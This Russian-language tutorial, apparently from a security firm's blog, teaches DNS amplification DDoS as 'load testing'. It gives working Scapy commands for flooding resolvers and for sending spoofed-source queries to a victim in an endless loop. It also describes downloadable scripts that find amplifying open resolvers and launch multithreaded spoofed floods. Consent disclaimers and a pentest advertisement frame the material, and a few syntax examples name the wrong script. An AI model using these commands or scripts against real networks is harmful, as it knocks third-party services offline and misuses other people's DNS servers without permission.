DNS Amplification это один из видов DDoS атак, который основан на усилении атаки с помощью сторонних, легитимных, DNS серверов. Принцип атаки построен на том, что злоумышленник создаёт короткий запрос к стороннему DNS серверу, но этот запрос отправляется от имени жертвы (IP spoofing, протокол UDP не проверяет отправителя), а DNS сервер отправляет ответ в сторону жертвы, который в несколько раз больше запроса. Это и позволяет провести атаку DNS Amplification, увеличив объём трафика в разы с помощью чужих DNS серверов.
В рамках нагрузочного тестирования можно извлечь из данной атаки пользу. Например для проверки оборудования, которое должно защищать от DoS атак. Естественно для этого в качестве усиливающих DNS серверов нужно использовать только те сервера, владельцы которых дали согласие на подобное “использование” их серверов.
Для проведения тестирования нам потребуется:
- Рабочая станция с установленной ОС Linux (в примерах используется Linux Debian);
- Python 2.x;
- Scapy;
- Внешний IP адрес(проведение тестирования не возможно через NAT, т.к. UDP пакеты с подменённым адресом будут отфильтрованы при передаче их через NAT).
Поставим все требуемые пакеты:
apt-get install scapy python2.7 git
Теоритическая часть
Для начала, попробуем вручную сделать несколько запросов к DNS серверу, для этого запустим утилиту манипулирования пакетами – Scapy (пакеты нужно отправлять из-под root пользователя):
scapy
Сформируем пакет с DNS запросом:
packet = IP(dst='8.8.8.8')/UDP(sport=12345,dport=53)/DNS(rd=1,qd=DNSQR(qname='google.com',qtype='A'))
Использованные параметры:
Секция IP.
dst – получатель пакета;
Секция UDP (используются UDP пакеты).
sport – порт отправителя;
dport – порт получателя;
Секция DNS.
rd – требуется рекурсия;
qname – DNS запрос;
qtype – тип DNS запроса.
Отправим его:
sr1(packet)
sr1 – отправить один пакет и ждать ответа.
В мы получили ответ от DNS сервера с которым можем ознакомиться.
Теперь посмотрим размер отправленного запроса и полученного пакета, для этого получим ответ в переменную, а не в STDOUT:
packetr = sr1(packet)
Сравним размеры пакетов.
Отправленный пакет:
len(packet)
56 байт
Полученный пакет:
len(packetr)
152 байта
Мы получили ответ в 2,71 (152/56) раза больше чем запрос.
Если мы найдем маленький запрос с большим ответом, то коэффициент может получиться гораздо больше (10 и более раз).
DNS запросы с большим размером пакета:
- запрос корневой зоны DNS (.);
- запрос доменного с множеством “A” записей (A);
- запрос больших “TXT” записей;
- и т.д.
Другие варианты запросов вы можете поискать самостоятельно.
В случае успешно подобранного запроса мы получим разницу в 11 раз (из потока в 10 мб/с мы можем получить 110 мб/с, но правда часть уйдёт на накладные расходы так что коэффициент усиления будет немного ниже). На этом и строится атака DNS Amplification.
Теперь нужно проверить не блокирует ли нас DNS сервер после множественных запросов (это один из методов защиты). Для этого сделаем отправку 500 пакетов без ожидания ответа и после этого отправим контрольный пакет с ожиданием ответа.
Отправка 500 пакетов:
send(packet,inter=0,verbose=0,count=500)
Использованные параметры:
send – отправить без ожидания;
inter – интервал между отправкой пакетов (0-минимальный);
verbose – без отображения;
count – количество пакетов.
Отправляем контрольный пакет:
packetr=sr1(packet,timeout=5)
Использованные параметры:
timeout – время ожидания ответа в секундах.
Если сервер ответил то, скорее всего, он может использоваться для DNS Amplification.
Остается сделать последний штрих. Отправить пакет с поддельным IP адресом в заголовке, чтобы ответы пришли тестируемому серверу, а не нам.
для этого создадим новый пакет:
packet1 = IP(src='1.1.1.1',dst='8.8.8.8')/UDP(sport=12345,dport=53)/DNS(rd=1,qd=DNSQR(qname='google.com',qtype='A'))
Использованные параметры:
src – IP адрес отправителя.
и запускаем отправку пакетов (отправка пакетов с поддельным отправителем должна производиться с устройства имеющего внешний IP адрес, потому что NAT будет блокировать отправку с неизвестных IP адресов):
send(packet1,inter=0,loop=1,verbose=0)
Использованные параметры:
loop – бесконечная отправка пакетов.
Остановить отправку можно с помощью комбинации Ctrl–C.
У нас получилось создать усиление нашего трафика в 2,71 раза с помощью DNS Amplification.
Автоматизация процесса
Нужно автоматизировать 3 процесса:
- Поиск DNS серверов с большим коэффициентом усиления;
- Проверка найденных серверов на отсутствие защиты от множественных запросов;
- Автоматическая, многопоточная отправка пакетов на множество серверов.
Для автоматизации я написал 3 скрипта.
Скачать их можно на GitHub (https://github.com/BlackDiverX/DNSAmplification):
git clone https://github.com/BlackDiverX/DNSAmplification
dnsamplscan.py – скрипт сканирования сети для поиска уязвимых DNS серверов;
dnsamplcheck.py – скрипт проверки DNS серверов на возможность DNS Amplification;
dnsamplification.py – скрипт для многопоточной отправки DNS запросов с возможностью спуфинга IP адреса.
dnsamplscan.py
dnsamplscan.py сканирует сегмент сети и создает список серверов с большим коэффициентом усиления.
Синтаксис:
python dnsamplcheck.py [параметры]
Параметры:
-ip – диапазон IP адресов для поиска DNS серверов;
-query – DNS запрос (По умолчанию: .) (требуется);
-querytype – тип DNS запроса (A,MX,PTR и т.д.) (По умолчанию: A);
-timeout – время ожидания ответа от DNS сервера (По умолчанию: 10 сек.);
-aratio – требуемый коэффициент усиления (По умолчанию: 0);
-output – файл со списком найденных серверов (требуется).
Пример запуска:
python dnsamplscan.py -192.168.0.0/24 -query . -querytype A -timeout 5 -aratio 10 -output servers.txt
На выходе мы получим файл servers.txt со списком серверов у которых DNS ответ в разы больше чем запрос.
dnsamplcheck.py
dnsamplcheck.py проверяет список серверов на возможность использования для DNS Amplification.
Синтаксис:
python dnsamplcheck.py [параметры]
Параметры:
-input – входной файл со списком DNS серверов для проверки (требуется);
-timeout – время ожидания ответа от DNS сервера (По умолчанию 2 сек.);
-output – выходной файл со списком проверенных серверов (требуется).
Пример:
python dnsamplcheck.py -input servers.txt -output good-servers.txt
Этот скрипт возьмет список серверов из файла servers.txt (который создан с помощью скрипта dnsamplscan.py), проверит на возможность использования в DNS Amplification и запишет подходящие сервера в файл good-servers.txt.
dnsamplification.py
dnsamplification.py запускает нагрузочное тестирование с использованием DNS Amplification. Для проведения атаки требуется список серверов.
Синтаксис:
python dnsamplcheck.py [параметры]
Параметры:
-target – IP адрес тестируемого сервера (требуется);
-servers – файл со списком DNS серверов для усиления (требуется);
-timeout – время тестирования (в секундах) (По умолчанию: 10 сек.);
-threads – количество потоков для отправки DNS запросов (По умолчанию: 10).
Пример:
python dnsamplification.py -target 192.168.1.2 -servers good-servers.txt -timeout 100 -threads 20
Непосредственное начало атаки для стресс тестирования. В примере запускается тестирование в 20 потоков для адреса 192.168.1.2 с использованием серверов из файла good-servers.txt на 100 секунд.
Не стоит использовать чужие DNS сервера для проведения тестирования. Используйте для этого только сервера, которые разрешили использовать их владельцы.
Заказать Аудит Безопасности или Пентест Вашей IT-инфраструктурыБыть уверенным в своей IT-инфраструктуре – это быть уверенным в завтрашнем дне. Для того, чтобы сделать заказ:
|